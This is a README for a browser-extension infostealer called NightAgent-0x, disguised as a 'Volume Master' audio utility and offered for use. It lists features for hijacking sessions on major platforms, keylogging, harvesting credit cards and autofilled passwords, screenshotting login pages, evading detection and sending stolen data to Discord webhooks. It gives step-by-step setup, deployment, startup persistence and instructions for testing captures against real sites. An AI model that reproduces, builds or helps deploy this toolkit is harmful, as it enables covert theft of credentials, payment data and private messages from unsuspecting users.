NightAgent-0x

Stealth session capture extension disguised as a volume control utility with Discord C2 integration.

---

Overview

Volume Master appears as a legitimate audio enhancement browser extension while operating as an advanced data exfiltration toolkit. Features GUI-based builder for easy configuration and executable generation for persistent deployment.

Key Features

Session Hijacking

• Multi-Target Capture: Automatically captures from 17+ platforms:
  • WhatsApp Web, Google, Microsoft, Facebook, Twitter, Instagram
  • LinkedIn, GitHub, Amazon, PayPal, Netflix, Yahoo, Reddit, Discord
• Cookie Harvesting: All domain variations (.domain, www.domain)
• Session Tokens: Complete localStorage & sessionStorage capture
• Auto-Login HTML: One-click session injection files
• Cookie-Editor Format: Export-ready JSON for browser extensions

Credential Capture

• Advanced Keylogger: Captures email/username and password fields
• Autofill Detection: Extracts saved passwords from browser password manager
• Duplicate Prevention: Hash-based tracking prevents repeated captures
• Credit Card Harvester: Captures card numbers, CVV, expiry dates, cardholder names
• Payment Form Detection: Automatic detection of checkout/payment pages

Data Exfiltration

• Full Keylogging: Captures ALL text inputs (search queries, messages, notes, comments)
• Storage Harvester: Real-time localStorage/sessionStorage monitoring
• Screenshot Capture: Automatic screenshots of sensitive pages (login, payment, bank)
• Navigation Tracking: Instant capture on page refresh/URL change

Stealth & Security

• Zero Console Logs: DEBUG_MODE controlled logging (disabled in production)
• Anti-Detection: Hides extension markers from page scripts
• Disguised UI: Appears as "Volume Master" audio control extension
• Payload Encryption: XOR encryption for sensitive webhook data
• Multi-Webhook: Up to 3 Discord webhooks for redundancy

Infrastructure

• GUI Builder: Easy-to-use interface for configuration and deployment
• Executable Generation: Creates standalone .exe for Windows startup
• Discord Webhook Integration: No bot required, simple HTTP notifications
• Multi-Browser: Chrome, Firefox, Edge compatible
• Serverless Option: Direct webhook delivery (no backend required)

---

Quick Start

1. Get Discord Webhook URL

• Discord Server → Channel Settings → Integrations → Webhooks → Create Webhook
• Copy the webhook URL

2. Setup

git clone https://github.com/0nsec/NightAgent-0x.git
cd NightAgent-0x

# Install dependencies
npm install
pip install -r requirements.txt

# Launch GUI Builder
python builder-gui.py

3. Configure

• Paste webhook URL
• Click "Save Config"
• Click "Run Server"

4. Install Extension

• Chrome: Load unpacked → Select extension/ folder
• Extension appears as "Volume Master" audio control

Done! Extension captures sessions, server sends links to Discord.

GUI Builder Features

1. Configuration

   • Discord webhook URL (no bot required!)
   • Server port (default: 3000)
   • Auto-generates .env with encryption keys
   • Built-in webhook help

2. Actions

   • Run Server: Start the single unified server
   • Build Executable: Create VolumeService.exe for startup
   • Build Extension: Package extension as ZIP
   • Install Dependencies: One-click npm install

3. Console Output

   • Real-time server logs
   • Build progress monitoring
   • Error reporting

Getting Discord Webhook

1. Go to your Discord server
2. Right-click the channel → Edit Channel
3. Integrations → Webhooks → Create Webhook
4. Copy the webhook URL
5. Paste in the builder

Adding to Windows Startup

After building the executable:

1. Press Win + R
2. Type: shell:startup
3. Copy dist/VolumeService.exe to startup folder
4. Service runs automatically on system boot

Load Extension

Chrome/Edge:

1. Open chrome://extensions/
2. Enable "Developer mode"
3. Click "Load unpacked" → Select extension/ folder
4. Extension appears as "Volume Master"
5. Pin to toolbar for legitimacy

Firefox:

1. Open about:debugging#/runtime/this-firefox
2. Click "Load Temporary Add-on"
3. Select extension/manifest.json

Verify Installation

After loading, the extension will:

1. Send a startup alert to Discord with:
   • Browser name & version
   • Operating system
   • Public IP address
   • Timezone
   • Enabled features
2. Appear in extensions list as "Volume Master" with audio icon
3. Show popup UI for volume control (cover functionality)

Testing Captures

Test Credential Capture:

# Visit any login page
https://accounts.google.com/signin

# Either:
1. Let browser autofill saved password → Auto-captured in 3 seconds
2. Type username + password → Click submit → Captured on submit

Test Credit Card Capture:

# Visit payment page
https://www.amazon.com/checkout/payment

# Enter card details → Blur field or submit → Captured

Test Storage Capture:

# Visit any site with active session
https://github.com

# Check Discord in ~2 seconds for localStorage/sessionStorage dump

Test Full Keylogging:

# Visit any site with text input
https://www.google.com

# Type 15+ characters in search bar → Press Enter or Tab → Captured

Test Screenshot:

# Visit sensitive page
https://login.microsoftonline.com

# Wait 2 seconds after page load → Screenshot sent to Discord

---

Manual Installation (Advanced)

# Clone repository
git clone https://github.com/0nsec/NightAgent-0x.git
cd NightAgent-0x

# Install dependencies
pip install -r requirements.txt

#run
python builder-cli.py

---

Architecture

Data Flow

┌─────────────────────────────────────────────────────────────────┐
│                        BROWSER EXTENSION                         │
│  (Disguised as "Volume Master" Audio Control)                   │
└───────────┬─────────────────────────────────────────────────────┘
            │
            ├──► [Keylogger] → Login Credentials
            ├──► [Credit Card Harvester] → Payment Data
            ├──► [Full Keylogger] → All Text Inputs
            ├──► [Storage Harvester] → localStorage/sessionStorage
            ├──► [Cookie Manager] → Session Cookies
            ├──► [Screenshot Capture] → Page Images
            │
            ▼
    ┌───────────────────┐
    │  Discord Webhooks │ ◄─── (No backend needed)
    │   (Up to 3 URLs)  │
    └─────────┬─────────┘
              │
              ▼
    ┌──────────────────────────────────────────────┐
    │           Discord Channel                     │
    │  • Login Credentials (RED)                   │
    │  • Payment Data (Credit Cards) (GREEN)       │
    │  • Storage Tokens (localStorage) (PURPLE)    │
    │  • Text Inputs (Search, Messages) (BLUE)     │
    │  • Screenshots (Login/Payment Pages) (RED)   │
    │  • Navigation Alerts                         │
    │  • HTML Session Files (Auto-Login)           │
    │  • Cookie-Editor JSON                        │
    └──────────────────────────────────────────────┘

Capture Triggers

Automatic Capture:

• Page navigation/refresh on target domains (17+ sites)
• Form submission with credentials
• Browser autofill detection (saved passwords)
• Payment form fields filled
• Text input blur/Enter key (15+ characters)
• localStorage/sessionStorage changes
• Page load on sensitive URLs (login, payment, bank)

Periodic Capture:

• WhatsApp Web: Every 30 seconds
• General domains: Every 5-10 minutes (random)
• Storage data: Every 30 seconds
• Autofill check: Every 3 seconds

---

Technology Stack

Extension (Client-Side)

• Core: JavaScript (ES6+) with Chrome/Firefox WebExtensions API
• UI: Disguised as audio control interface
• Content Scripts:
  • keylogger.js - Credential capture (login forms)
  • full-keylogger.js - All text input capture
  • storage-harvester.js - localStorage/sessionStorage monitoring
  • whatsapp.js - WhatsApp-specific capture
  • google.js - Google-specific capture
  • audio-controller.js - Legitimate audio control (cover)

Backend (Optional)

• Node.js + Express
• Single unified server (api-server.js)
• Discord Webhooks (no bot required)
• Session manager for HTML file generation

Security & Stealth

• Encryption: XOR encryption for webhook payloads
• Anti-Detection: Dataset marker hiding, zero console logs
• Autofill Detection: CSS-based webkit animation monitoring
• Duplicate Prevention: Hash-based tracking
• One-Time Sessions: Links expire after use or 1 hour
• Encrypted Storage: Secure local credential storage

Development

Commands

# Development mode
npm run dev

# Start Discord bot only
npm run bot

# Start session server only
npm run server

# Run tests
npm test

# Lint code
npm run lint

# Build for production
npm run build

---

Stats

---